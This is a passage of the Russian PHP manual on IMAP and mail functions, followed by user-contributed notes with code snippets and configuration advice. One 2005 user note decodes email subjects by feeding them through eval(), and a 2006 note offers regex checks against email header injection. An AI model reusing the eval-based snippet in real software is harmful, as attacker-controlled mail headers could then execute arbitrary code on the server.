Одна из констант: IMAP_OPENTIMEOUT, IMAP_READTIMEOUT, IMAP_WRITETIMEOUT или IMAP_CLOSETIMEOUT.

timeout

Время ожидания в секундах.

Возвращаемые значения

Если задан параметр timeout, эта функция вернёт true или false в зависимости от успешности выполнения.

Если параметр timeout не задан, или выставлен равным -1, то будет возвращено целое число, равное текущей величине времени ожидания, соответствующей заданному типу timeout_type.

Примеры

Пример #1 Пример использования imap_timeout()

<?php

echo "Текущее время ожидания чтения " . imap_timeout(IMAP_READTIMEOUT) . "\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


Получить UID по номеру сообщения

  • « imap_timeout
  • imap_undelete »
  • PHP Manual
  • Функции IMAP
  • Получить UID по номеру сообщения

imap_uid

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_uid — Получить UID по номеру сообщения

Описание

imap_uid(IMAP\Connection $imap, int $message_num): int|false

Эта функция возвращает UID для сообщения с заданным номером. UID - это уникальный идентификатор, который не меняется со временем, в то время как номер сообщения в ящике может меняться при изменении контента почтового ящика.

Эта функция обратная функции imap_msgno().

Список параметров

imap

Экземпляр IMAP\Connection.

message_num

Номер сообщения.

Возвращаемые значения

UID заданного письма.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примечания

Замечание:

Эта функция не поддерживается для почтовых ящиков POP3.

Смотрите также

  • imap_msgno() - Получить номер сообщения с заданным UID

User Contributed Notes

cmanley at example dot com 05-Jan-2018 04:32
If you want emulated POP3 UIDL support, then you can either use my imap function wrapper class, or just copy/modify it's header to UIDL hashing method:
https://github.com/cmanley/PHP-IMAP-Client/
Denis Rendler 12-Aug-2015 09:42
I would like to point out that, at least in the case of Gmail, the UIDs of emails are changed if they are moved from one folder to another. Even if moved back to the same folder the UIDs get incremented and thus changed.
I found this the hard way after relaying on the notion that UIDs do not change as I found almost everywhere in the docs.
Maikel 14-Jul-2010 05:27
Be aware that the uid is unique in a single mailbox. That means a message can have as much uids as mailboxes
anon et mouse 28-Jan-2009 11:57
clarification for Andreas' note about imap_expunge()...

imap_expunge() does indeed change the UID, but only *after* the IMAP stream has closed and then reconnects.

You can use imap_expunge() as many times as you want within one IMAP stream (no reconnects) and the UID stays the same while the Msgno will change with imap_delete() followed by imap_expunge().
Andreas Seeger 24-Jul-2008 10:26
The uid will change in case of unsing imap_expunge. Be shure that
all work ist done before using imap_expunge.
roger at sdr dot com dot au 01-May-2008 07:34
A little quirk of UIDs in a PUBLIC folder in MDaemon (and perhaps other servers?). The UIDs may be unsynchronised between users if the server's option to store flags on a per-user basis is turned on. That is, a message may have a UID of 5 for one user (meaning it was the 5th message to enter the box) but 3 for another user (who perhaps subscribed to the box later). If this is a problem, turn off the per-user option for the mailbox.
steve_foley at excite dot com 04-Sep-2002 10:27
Please note that message_id in the header is NOT the UID - and its dangerous to use as many mail progs don't put a message id in


Снимает с сообщения метку удаления

  • « imap_uid
  • imap_unsubscribe »
  • PHP Manual
  • Функции IMAP
  • Снимает с сообщения метку удаления

imap_undelete

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_undelete — Снимает с сообщения метку удаления

Описание

imap_undelete(IMAP\Connection $imap, string $message_nums, int $flags = 0): bool

Удаляет с заданного сообщения метку удаления, которая была установлена с помощью imap_delete() или imap_mail_move().

Список параметров

imap

Экземпляр IMAP\Connection.

message_nums

Строка (string), состоящая из одного или нескольких сообщений в формате последовательности в стиле IMAP4 ("n", "n:m" или их комбинация, разделённая запятыми).

flags

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_delete() - Пометить сообщение для удаления
  • imap_mail_move() - Переместить указанные сообщения в указанный почтовый ящик

User Contributed Notes

phrank 29-Dec-2007 03:47
If you need to use the uid instead of msgno use

imap_clearflag_full($stream, implode(',', $flags), '\\DELETED', ST_UID);
rdi at nospam dot donireland dot com 18-Nov-2007 07:18
The imap_delete function allows the option to use a UID for the message number but the imap_undelete function does not.


Отписаться от почтового ящика

  • « imap_undelete
  • imap_utf7_decode »
  • PHP Manual
  • Функции IMAP
  • Отписаться от почтового ящика

imap_unsubscribe

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_unsubscribe — Отписаться от почтового ящика

Описание

imap_unsubscribe(IMAP\Connection $imap, string $mailbox): bool

Отписаться от почтового ящика mailbox.

Список параметров

imap

Экземпляр IMAP\Connection.

mailbox

Имя почтового ящика. Более подробно смотрите в разделе про imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_subscribe() - Подписаться на почтовый ящик

User Contributed Notes

There are no user contributed notes for this page.


Декодирует строку из модифицированной кодировки UTF-7

  • « imap_unsubscribe
  • imap_utf7_encode »
  • PHP Manual
  • Функции IMAP
  • Декодирует строку из модифицированной кодировки UTF-7

imap_utf7_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_utf7_decode — Декодирует строку из модифицированной кодировки UTF-7

Описание

imap_utf7_decode(string $string): string|false

Декодирует string из модифицированной кодировки UTF-7 в ISO-8859-1.

Это нужно для декодирования имён почтовых ящиков, содержащих в имени символы, не входящие в печатный диапазон ASCII.

Список параметров

string

Текст в модифицированной кодировке UTF-7, как определено в » RFC 2060, раздел 5.1.3.

Возвращаемые значения

Возвращает строку в кодировке ISO-8859-1, которая содержит ту же последовательность символов, что и string, или false, если string содержит некорректные символы или если string содержит символы не входящие в набор символов ISO-8859-1.

Смотрите также

  • imap_utf7_encode() - Преобразует строку ISO-8859-1 в модифицированную UTF-7

User Contributed Notes

Anonymous 09-Feb-2015 10:21
I can't find method for converting imap utf7 into utf8.
So I have to write several lines of code to solve this issue. May be this could be usefull. Here is no error handling but it could be added.

Usage:
$imap_utf7 = '[Gmail]/&BBIEMAQ2BD0EPgQ1-';
$utf8 =  ImapUtf7::decode($imap_utf7);
$imap_utf7_2 =  ImapUtf7::encode($utf8);

[ImapUtf7.php]
<?php
class ImapUtf7 {
    static $imap_base64 =
        'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+,';
    static private function encode_b64imap($s) {
        $a=0; $al=0; $res=''; $n=strlen($s);
        for($i=0;$i<$n;$i++) {
            $a=($a<<8)|ord($s[$i]); $al+=8;
            for(;$al>=6;$al-=6) $res.=self::$imap_base64[($a>>($al-6))&0x3F];
        }
        if ($al>0) { $res.=self::$imap_base64[($a<<(6-$al))&0x3F]; }
        return $res;
    }
    static private function encode_utf8_char($w) {
        if ($w&0x80000000) return '';
        if ($w&0xFC000000) $n=5; else
        if ($w&0xFFE00000) $n=4; else
        if ($w&0xFFFF0000) $n=3; else
        if ($w&0xFFFFF800) $n=2; else
        if ($w&0xFFFFFF80) $n=1; else return chr($w);
        $res=chr(( (255<<(7-$n)) | ($w>>($n*6)) )&255);
        while(--$n>=0) $res.=chr((($w>>($n*6))&0x3F)|0x80);
        return $res;
    }
    static private function decode_b64imap($s) {
        $a=0; $al=0; $res=''; $n=strlen($s);
        for($i=0;$i<$n;$i++) {
            $k=strpos(self::$imap_base64,$s[$i]); if ($k===FALSE) continue;
            $a=($a<<6)|$k; $al+=6;
            if ($al>=8) { $res.=chr(($a>>($al-8))&255);$al-=8; }
        }
        $r2=''; $n=strlen($res);
        for($i=0;$i<$n;$i++) {
            $c=ord($res[$i]); $i++;
            if ($i<$n) $c=($c<<8) | ord($res[$i]);
            $r2.=self::encode_utf8_char($c);
        }
        return $r2;
    }
    static function encode($s) {
        $n=strlen($s);$err=0;$buf='';$res='';
        for($i=0;$i<$n;) {
            $x=ord($s[$i++]);
            if (($x&0x80)==0x00) { $r=$x;$w=0; }
            else if (($x&0xE0)==0xC0) { $w=1; $r=$x &0x1F; }
            else if (($x&0xF0)==0xE0) { $w=2; $r=$x &0x0F; }
            else if (($x&0xF8)==0xF0) { $w=3; $r=$x &0x07; }
            else if (($x&0xFC)==0xF8) { $w=4; $r=$x &0x03; }
            else if (($x&0xFE)==0xFC) { $w=5; $r=$x &0x01; }
            else if (($x&0xC0)==0x80) { $w=0; $r=-1; $err++; }
            else { $w=0;$r=-2;$err++; }
            for($k=0;$k<$w && $i<$n; $k++) {
                $x=ord($s[$i++]); if ($x&0xE0!=0x80) { $err++; }
                $r=($r<<6)|($x&0x3F);
            }
            if ($r<0x20 || $r>0x7E ) {
                $buf.=chr(($r>>8)&0xFF); $buf.=chr($r&0xFF);
            } else {
                if (strlen($buf)) {
                    $res.='&'.self::encode_b64imap($buf).'-';
                    $buf='';
                }
                if ($r==0x26) { $res.='&-'; } else $res.=chr($r);
            }
        }
        if (strlen($buf)) $res.='&'.self::encode_b64imap($buf).'-';
        return $res;
    }
    static function decode($s) {
        $res=''; $n=strlen($s); $h=0;
        while($h<$n) {
            $t=strpos($s,'&',$h); if ($t===false) $t=$n;
            $res.=substr($s,$h,$t-$h); $h=$t+1; if ($h>=$n) break;
            $t=strpos($s,'-',$h); if ($t===false) $t=$n;
            $k=$t-$h;
            if ($k==0) $res.='&';
            else $res.=self::decode_b64imap(substr($s,$h,$k));
            $h=$t+1;
        }
        return $res;
    }
}
Min He 10-May-2010 11:21
For Chinese charset, we can use:

mb_convert_encoding($mailbox, "UTF7-IMAP", "GB2312");

when you want to create a mailbox in Chinese.

OR

mb_convert_encoding($mailbox, "GB2312", "UTF7-IMAP");

when you want to show the listed mailbox with the right charset.
27-Aug-2002 10:32
For "Outlook-style" UTF-7, you can also use:

mb_convert_encoding( $str, "ISO_8859-1", "UTF7-IMAP" ); # for decoding
mb_convert_encoding( $str, "UTF7-IMAP", "ISO_8859-1" ); # for encoding
sven at planb dot de 03-Nov-2000 03:44
imap_utf7_decode decodes 'modified'.
For decoding Outlook UTF-7 - texts I use --enable-recode and $latin1string=recode_string("UTF-7..ISO_8859-1",$utf7string);
Don't use recode-3.5c.*rpm from Contrib.
recode_string seems to be buggy.


Преобразует строку ISO-8859-1 в модифицированную UTF-7

  • « imap_utf7_decode
  • imap_utf8_to_mutf7 »
  • PHP Manual
  • Функции IMAP
  • Преобразует строку ISO-8859-1 в модифицированную UTF-7

imap_utf7_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_utf7_encode — Преобразует строку ISO-8859-1 в модифицированную UTF-7

Описание

imap_utf7_encode(string $string): string

Преобразует string в текст в модифицированной кодировке UTF-7.

Это нужно для кодирования имён почтовых ящиков, содержащих в имени символы, не входящие в печатный диапазон ASCII.

Список параметров

string

Строка в кодировке ISO-8859-1.

Возвращаемые значения

Возвращает данные string кодированные в модифицированной кодировке UTF-7, как определено в » RFC 2060, раздел 5.1.3.

Смотрите также

  • imap_utf7_decode() - Декодирует строку из модифицированной кодировки UTF-7

User Contributed Notes

Olivier 07-Jan-2019 02:34
For those who search for a good implementation of modified UTF-7 encoding for IMAP, you can find a code that works on :
http://tananyag.ntszki.hu/mail/functions/imap_utf7_local.php
The result is different from imap-utf7-encode() function and is identical to mailbox name generated by Thunderbird.
dn at dnunes dot com 08-Nov-2007 11:59
Maccoy function's isn't reliable 'cause it doesn't follow the RFC 2060. It will work fine for most latin chars (which, in base64, will turn into "+A..."), but for other language it can make a big mess. If you're using an internationalizated system, try using the other presented options.
31-Jul-2006 07:10
This encoding will not work for cyrus imapservers and you might have problems with other mail clients.
Use mb_convert_encoding($str, "UTF7-IMAP","ISO-8859-15") instead.

ps: mb_convert_encoding() requires   building php with  --enable-mbstring option
02-Nov-2005 03:01
Note that php4 (4.4.0) will encode IMAP folders in a way that no other program will be able to decode them back.
$ php4 <<EOF
> <?php
> echo "ENCODED: " . imap_utf7_encode("?") . "\\n";
> ?>
> EOF
ENCODED: &w5w-

Now try to decode the result string ("&w5w-") using e.g. javamail or python's imaplib, or if you don't like these languages - create an IMAP folder using PHP and try to display it in an IMAP client (mutt, thunderbird, outlook, whatever...)
marcelo at maccoy dot com dot br 07-Mar-2005 05:48
<?php
/**
* @return encoded string
* @param string $str
* @desc Convert str to UTF-7 imap default mailbox names
    (the imap_utf7_encode don t built the same result)
*/
function getEncodedUtf7($str){
    if(!$str){
       echo "error: you need to give a string parameter.";
       return false;
    }
# change spaces by entropy because mb_convert fail with spaces
    $str=ereg_replace(" ","xyxy",$str);
# if mb_convert work
    if($str=mb_convert_encoding($str,"UTF-7")){
        # change characters
            $str=preg_replace("/\+A/","&A",$str);
        # change to spaces again
            $str=preg_replace("/xyxy/"," ",$str);
        # return encoded string
            return $str;
 # else
    }else{
        # print error and return false
            echo "error: is not possible to encode this string '$str'.[".
            imap_last_error().
            "]";
            return false;
    }
}
?>


Кодировать строку UTF-8 в изменённую UTF-7

  • « imap_utf7_encode
  • imap_utf8 »
  • PHP Manual
  • Функции IMAP
  • Кодировать строку UTF-8 в изменённую UTF-7

imap_utf8_to_mutf7

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

imap_utf8_to_mutf7 — Кодировать строку UTF-8 в изменённую UTF-7

Описание

imap_utf8_to_mutf7(string $string): string|false

Кодировать строку UTF-8 в изменённую строку UTF-7 (в соответствии с RFC 2060, раздел 5.1.3).

Замечание:

Эта функция доступна только в случае, если libcclient экспортирует utf8_to_mutf7().

Список параметров

string

Закодированная в UTF-8 строка.

Возвращаемые значения

Возвращает string, конвертированную в изменённую UTF-7 или false в случае возникновения ошибки.

Смотрите также

  • imap_mutf7_to_utf8() - Декодировать изменённую строку UTF-7 в UTF-8

User Contributed Notes

There are no user contributed notes for this page.


Преобразует MIME-кодированный текст в UTF-8

  • « imap_utf8_to_mutf7
  • IMAP\Connection »
  • PHP Manual
  • Функции IMAP
  • Преобразует MIME-кодированный текст в UTF-8

imap_utf8

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_utf8 — Преобразует MIME-кодированный текст в UTF-8

Описание

imap_utf8(string $mime_encoded_text): string

Преобразует заданный mime_encoded_text в UTF-8, если заявленная кодировка известна libc-client. В противном случае данный текст декодируется, но не преобразуется в UTF-8.

Список параметров

mime_encoded_text

MIME-кодированная строка. Метод кодирования MIME и спецификация UTF-8 описаны в » RFC2047 и » RFC2044 соответственно.

Возвращаемые значения

Возвращает декодированную строку, если возможно, преобразованную в UTF-8.

Примеры

Пример #1 Базовое использование imap_utf8()

<?php
echo imap_utf8("Johannes =?ISO-8859-1?Q?Schl=FCter?=");
?>

Результатом выполнения данного примера будет что-то подобное:

Johannes Schlu?ter

Смотрите также

  • imap_mime_header_decode() - Декодировать элементы заголовка

User Contributed Notes

kloewer at gmail dot com 17-Oct-2011 03:08
Use  iconv_mime_decode();

<?php
// This yields "Subject: Prufung Prufung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
                       0, "ISO-8859-1");
?>

http://php.net/manual/de/function.iconv-mime-decode.php
esvit at mail dot ru 26-Jan-2011 05:12
That fixed the all caps issue:

<?php
function imap_utf8_fix($string) {
  return iconv_mime_decode($string,0,"UTF-8");
}
?>
number0 at tlen dot pl 06-Jul-2009 02:43
string in uppercase error http://bugs.php.net/bug.php?id=44098
my function to decode string

<?php
function decodeMimeStr($string, $charset="UTF-8" )
{
      $newString = '';
      $elements=imap_mime_header_decode($string);
      for($i=0;$i<count($elements);$i++)
      {
        if ($elements[$i]->charset == 'default')
          $elements[$i]->charset = 'iso-8859-1';
        $newString .= iconv($elements[$i]->charset, $charset, $elements[$i]->text);
      }
      return $newString;
}
?>
MetaYii 22-Jun-2009 01:24
Be aware: imap_utf8 tends to return the string in uppercase.
Anonymous webmaster@luzon14DoTCom 30-Jul-2007 12:43
You may also try this example:

$_subject = "=?iso-8859-1?b?THV6b26uMTQ=?= dot CoM";
echo utf8_decode(imap_utf8($_subject));

OUTPUT: Luzon®14 dot CoM

Regards,
Tuso/Nazareth
hans at lintoo dot dk 19-Sep-2005 04:42
Also see:
<?php
imap_mime_header_decode($sting);
?>
Don't try to decode subjects with this one... imap_mime_header_decode does a much better job at that.
marcelo at maccoy dot com dot br 14-Feb-2005 12:01
# this script are correct with the right signs remove expression
# please, ignore the later.
function decode_utf8($str){
       # paterns
           $err="(=\?.{10,13}q\?_?|\?\=)";
           $pat = "/=([0-9A-F]{2})/";
           $cha="'.chr(hexdec(";
       # erase null signs in string
          $str=eregi_replace($err,"",$str);
       # to decode with eval and replace
          eval("\$str='".
                  preg_replace($pat,$cha."'$1')).'",$str)
                  ."';");
        # return
           return $str;
}
#Note: you can to reduce this script in 3 lines.
mogster_at_boomdesign.no 31-Oct-2002 03:53
To get a complete decode to utf8 (which is the protocol with "national" characters), use these two:
$subject = "=?ISO-8859-1?Q?B=F8lla?=, med =?ISO-8859-1?Q?=F8l?= i baggen";
$subject = imap_utf8($subject);
$subject = utf8_decode($subject);
will return the subject in 8-bit ascii.
That is, both functions.

knutm :-)


Класс IMAP\Connection

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс imap в PHP 8.1.0.

Обзор классов

final class IMAP\Connection {
}

User Contributed Notes

There are no user contributed notes for this page.


Mail

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Почта
    • ezmlm_hash — Вычисляет хеш-сумму, необходимую для EZMLM
    • mail — Отправляет электронную почту

User Contributed Notes

There are no user contributed notes for this page.


Введение

Функция mail() позволяет вам отправлять электронную почту.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы функций Mail PHP должно иметь доступ к бинарным файлам sendmail в вашей системе во время компиляции. Если вы используете другую почтовую программу, такую как qmail или postfix, вы должны быть уверены, что используете соответствующие обёртки sendmail, поставляемые с этими продуктами. PHP будет в первую очередь искать файлы sendmail по пути в переменной окружения PATH, и далее: /usr/bin:/usr/sbin:/usr/etc:/etc:/usr/ucblib:/usr/lib. Очень рекомендуется иметь sendmail доступным из переменной окружения PATH. Также, пользователь под кем был скомпилирован PHP обязан иметь доступ к бинарным файлам sendmail.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Конфигурационные опции отправки писем
Имя | По умолчанию | Место изменения | Список изменений
mail.add_x_header | "0" | PHP_INI_PERDIR |
mail.log | NULL | PHP_INI_SYSTEM|PHP_INI_PERDIR |
mail.force_extra_parameters | NULL | PHP_INI_SYSTEM|PHP_INI_PERDIR |
SMTP | "localhost" | PHP_INI_ALL |
smtp_port | "25" | PHP_INI_ALL |
sendmail_from | NULL | PHP_INI_ALL |
sendmail_path | "/usr/sbin/sendmail -t -i" | PHP_INI_SYSTEM |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

mail.add_x_header bool

Добавляет заголовок X-PHP-Originating-Script, который будет содержать UID скрипта и имя файла.

mail.log string

Путь к лог-файлу, в который будут записываться все вызовы функции mail(). Записи в логе содержат полный путь до скрипта, номер строки, адрес получателя To и заголовки.

mail.force_extra_parameters string

Принудительно добавить указанные параметры для отправки в sendmail. Эти параметры всегда заменяют значение пятого параметра в mail().

SMTP string

Используется только в Windows: домен или IP-адрес SMTP-сервера, к которому будет обращаться PHP при отправке почты функцией mail().

smtp_port int

Используется только в Windows: порт SMTP-сервера, к которому будет обращаться PHP при отправке почты функцией mail(); по умолчанию 25.

sendmail_from string

Адрес, который будет использоваться в заголовке "From:" в письмах, отправляемых напрямую через SMTP (только для Windows). Эта директива также устанавливает заголовок "Return-Path:".

sendmail_path string

Путь до программы sendmail, обычно /usr/sbin/sendmail или /usr/lib/sendmail. configure пытается найти sendmail автоматически и установить значение по умолчанию самостоятельно, но если это не удалось, вы можете установить путь здесь.

Системы, не использующие sendmail, должны установить эту директиву в путь до обёртки/заменителя sendmail. Например, пользователи » Qmail обычно устанавливают значение /var/qmail/bin/sendmail или /var/qmail/bin/qmail-inject.

qmail-inject не требует дополнительных опций для отправки писем.

Эта директива также работает и в Windows. Если она установлена, smtp, smtp_port и sendmail_from будут проигнорированы и выполнится указанная программа.

User Contributed Notes

torsar at gmail dot com 03-Apr-2023 04:01
Ненавижу всякие денверы и ёбн серверы.

У меня голый апач на винде 10 и на нем 6 версий пхп от 5.6 до самой последней. :)
Все устанавливается и конфигиться за минуты. :)
Все версии пхп конфигяться отдельно и работают одновременно. На разных виртуальных хостах и портах.
Не надо ничего переключать и перезапускать.

У меня еще есть виртуальная машина(WmVare) c FreeBSD 13.
Там, например, Redis.
С пхп на винде все работает.

Так вот вопрос:
можно ли юзать sendmail с виртуальной машины на юниксе
в пхп на винде?
Было бы замечательно!!!

Зы в идеале хочу перенести апач с пхпями на виртуальную машину с юникс.
А загружать пхп скрипты с браузера под виндой.
Там уже установлен апач и последняя версия пхп.
И еще perl и Go. (Зачем не знаю. :) Было по приколу поковырять конфиги и понастраивать :) )

Но пока не разобрался как в юниксах подтянуть к голому апачу несколько версий пхп. :(
jscholz at wisc dot edu 02-Jun-2022 08:06
The documentation should be made clear that sendmail does NOT default to -t -i when using just /usr/sbin/sendmail. You literally need to specify the options.

I know this might seem like a no-brainer but I wasted hours trying to get mail() to work only to discover that the sendmail program is NOT passed -t and -i by default as stipulated in the documentation.
Mark Simon 05-Jul-2019 07:02
It is worth reiterating that, as stated above, sendmail_path also works for Windows, overriding other Windows SMTP settings.

The comment in php.ini, "For Unix only", does not make that clear.

This makes it relatively easy to substitute a fake sendmail program or even a shell script/batch file to save mail to a text file.

I use this technique when teaching or testing in PHP.
php dot net at ii0 dot net 16-Nov-2016 08:46
If anyone gets this cryptic error message in the PHP error logs:
"sh: -t: command not found"
after upgrading from PHP 5.4, this may be the solution for you.

I upgraded PHP from 5.4 to 5.6 and all our mail() functionality suddenly broke, with no useful error logging.

If this is you, and you've been using ini_set() to set the "sendmail_path" then note that even though it's apparently not mentioned in the upgrade documentation -- or anywhere else I could find on php.net (or a dozen forums) -- you'll now need to go set the sendmail_path in your php.ini file; it is now ignored if you use ini_set() to specify a path to the sendmail binary on the fly.

So, just specify "sendmail_path" in php.ini instead.  That's all there is to it -- that fixed all the mail() functionality for us.

Hope this little note saves someone else as much time as I spent troubleshooting and researching.  Cheers!
phpnote-mail at revmaps dot no-ip dot org 19-Jan-2016 09:16
setting return path:

 Return-path header does not work because it is not part of smtp.

 on *nix -f may be set on the mail command
alternatively
 some MTAs accept mbox-style "From " header on the first header line
note: no colon after "From" , must be the first header line
or  you may be able to re-configure you MTA to interpret return-path headers

 -f is the most reliable method but it may mean that you can't set any other command-line option due to shell escaping problems.

also note that email formatting requirements differ between windows and everything else. sendmail expects only \n line-endings
elitescripts2000 at yahoo dot com 08-Dec-2013 07:52
On Ubuntu 13.04, not sure of the other Distros.

If you simply uncomment the default:

sendmail_path = "sendmail -t -i"

Your mail() functions will all fail.  This is because, you should place the FULL PATH (i.e.  /usr/sbin/sendmail -t -i )

The documentation states PHP tries it's best to find the correct sendmail path, but it clearly failed for me.

So, always enter in the FULLPATH to sendmail or you may get unexpected failing results.

As a secondary note:  Those that just want to ENFORCE the -f parameter, you can do so in php.ini using:

mail.force_extra_parameters = -fdo_not_reply@domain.tld

You can leave the sendmail path commented out, it will still use the defaults  (under UNIX  -t -i options which if you look them up are very important to have set)....

But, now there is no way to change this, even with the 5th argument of the mail() function.  -f is important, because if NOT set, will be set to which ever user the PHP script is running under, and you may not want that.

Also, -f  sets the Return-Path:  header which is used as the Bounce address, if errors occur, so you can process them.  You you can not set Return-Path: in mail() headers for some reason... you could before.  Now you have to use the -f option.
blueshibuyadream at gmail dot com 28-Mar-2013 12:27
On Darwin OS such as OSX (current one: 10.8.3) you need to add a specific command and option to the sendmail_path constant if you have downloaded and installed a mamp with a stack.

Indeed you can see the required libraries for PHP, Apache, MySQL in "common/lib" folder. The problem is when you run an external command using these libraries, for example "sendmail". It could be a problem if it gets the stack libraries and not the system ones (different versions, etc).

The "env -i" command clean the Stack environment variables and run "sendmail" with the system libraries.

Hope this helps.
A Austin 11-Jul-2012 05:40
For linux you can over-ride the default "From" for the outgoing emails by including in php.ini this line:

sendmail_path = "/usr/sbin/sendmail -t -i -f fromMe@blah.com"

The path should work for most linux installations.


Почта

Содержание

  • ezmlm_hash — Вычисляет хеш-сумму, необходимую для EZMLM
  • mail — Отправляет электронную почту

User Contributed Notes

webmaster at weethet dot nl 31-Aug-2007 07:35
As mentioned earlier, for Windows users there is a fake sendmail option. A bit more detailed description how to do this is:

If you have a test server in use running Windows and some kind of WAMP combo (XXAMP, WAMP Server, etc) then you'll notice that the PHP sendmail command (mail()) does not work. Windows simply does not provide the sendmail statement ...

There is a simple trick to get this to work though;

1) Download (or use the attached file) sendmail.zip from http://glob.com.au/sendmail/

2) Unzip this in a folder on your c: drive (preferably use a simple path, for example c:\wamp\sendmail -- long filenames could cause problems)

3) Edit your PHP.INI file (note: WAMP users should access their php.ini file from the WAMP menu). Go to the [mail function] section and modify it as such:

[mail function]
; For Win32 only.
;SMTP =

; For Win32 only.
;sendmail_from =

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
sendmail_path = "C:\wamp\sendmail\sendmail.exe -t"

; Force the addition of the specified parameters to be passed as extra parameters
; to the sendmail binary. These parameters will always replace the value of
; the 5th parameter to mail(), even in safe mode.
;mail.force_extra_paramaters =

.. and save the changes.

4) Open the sendmail.ini and modify the settings to:

[sendmail]

; you must change mail.mydomain.com to your smtp server,
; or to IIS's "pickup" directory.  (generally C:\Inetpub\mailroot\Pickup)
; emails delivered via IIS's pickup directory cause sendmail to
; run quicker, but you won't get error messages back to the calling
; application.

smtp_server=mail.yourdomain.com

; smtp port (normally 25)

smtp_port=25

; the default domain for this server will be read from the registry
; this will be appended to email addresses when one isn't provided
; if you want to override the value in the registry, uncomment and modify

default_domain=yourdomain.com

; log smtp errors to error.log (defaults to same directory as sendmail.exe)
; uncomment to enable logging
; error_logfile=sendmail_error.log

; create debug log as debug.log (defaults to same directory as sendmail.exe)
; uncomment to enable debugging
; debug_logfile=sendmail_debug.log

; if your smtp server requires authentication, modify the following two lines

;auth_username=
;auth_password=

; if your smtp server uses pop3 before smtp authentication, modify the
; following three lines

pop3_server=mail.yourdomain.com
pop3_username=you@yourdomain.com
pop3_password=mysecretpassword

; to force the sender to always be the following email address, uncomment and
; populate with a valid email address.  this will only affect the "MAIL FROM"
; command, it won't modify the "From: " header of the message content

force_sender=you@yourdomain.com

; sendmail will use your hostname and your default_domain in the ehlo/helo
; smtp greeting.  you can manually set the ehlo/helo name if required

hostname=

The optional error and debug logging is recommended when trying this the first time, so you have a clue what goes wrong in case it doesn't work.
Force_sender is also optional, but recommended to avoid confusion on the server end.
Obviously mail.yourdomain.com, you@yourdomain.com, and mysecretpassword should be the relevant info for your SMTP server.
Now restart the WAMP services (mainly Apache so PHP re-reads it's config).

Now you're good to go and use the PHP mail() statement as if you're a Unix user ...
anselm at netuxo dot co dot uk 10-Nov-2006 02:31
In case you don't want to, or can't, configure sendmail for your server, a good alternative is esmtp - it's an smtp mailer with minimum configuration that can be used as a sendmail drop-in : http://esmtp.sourceforge.net/
martin dot felis at gmx dot de 10-Mar-2006 07:03
If using a chroot environment and you don't want to have a full mailer in it, mini-sendmail (can be found at http://www.acme.com/software/mini_sendmail/) is very useful. It is just a small binary that sends mails over your local mta over port 25.

Martin
derernst at gmx dot ch 17-Feb-2006 08:43
Suggestion for methods checking form inputs for e-mail injection attempts.

Any inputs expected from single-line text fields can just be refused if they contain a newline character. The second function tries to minimize matches on non-evil inputs by matching suspect strings only if preceded by a newline character. (Anyway, if this is considered to be safe, it will of course do it for single-line inputs, too.)

<?php

/**
* Check single-line inputs:
* Returns false if text contains newline character
*/
function has_no_newlines($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)/i", $text) == 0;
}

/**
* Check multi-line inputs:
* Returns false if text contains newline followed by
* email-header specific string
*/
function has_no_emailheaders($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)(content-type:|to:|cc:|bcc:)/i", $text) == 0;
}

?>
jcwebb at dicoe dot com 08-Feb-2006 02:16
Corrupted Attachments ???
I spent many hours with corrupted attachments (of all types of files) - The answer: a blank line is needed after $msg.=$file \r\n \r\n [incredible but true].
Heres some useful code for sending an attachment, and display html OR text depending on the users email-reader.

i work with many different systems, so...

<?php # Is the OS Windows or Mac or Linux
if (strtoupper(substr(PHP_OS,0,3)=='WIN')) {
  $eol="\r\n";
} elseif (strtoupper(substr(PHP_OS,0,3)=='MAC')) {
  $eol="\r";
} else {
  $eol="\n";
} ?>

<?php
# File for Attachment
$f_name="../../letters/".$letter;    // use relative path OR ELSE big headaches. $letter is my file for attaching.
$handle=fopen($f_name, 'rb');
$f_contents=fread($handle, filesize($f_name));
$f_contents=chunk_split(base64_encode($f_contents));    //Encode The Data For Transition using base64_encode();
$f_type=filetype($f_name);
fclose($handle);
# To Email Address
$emailaddress="user@example.com";
# Message Subject
$emailsubject="Heres An Email with a PDF".date("Y/m/d H:i:s");
# Message Body
ob_start();
  require("emailbody.php");     // i made a simple & pretty page for showing in the email
$body=ob_get_contents(); ob_end_clean();

# Common Headers
$headers .= 'From: Jonny <jon@example.com>'.$eol;
$headers .= 'Reply-To: Jonny <jon@example.com>'.$eol;
$headers .= 'Return-Path: Jonny <jon@example.com>'.$eol;     // these two to set reply address
$headers .= "Message-ID:<".$now." TheSystem@".$_SERVER['SERVER_NAME'].">".$eol;
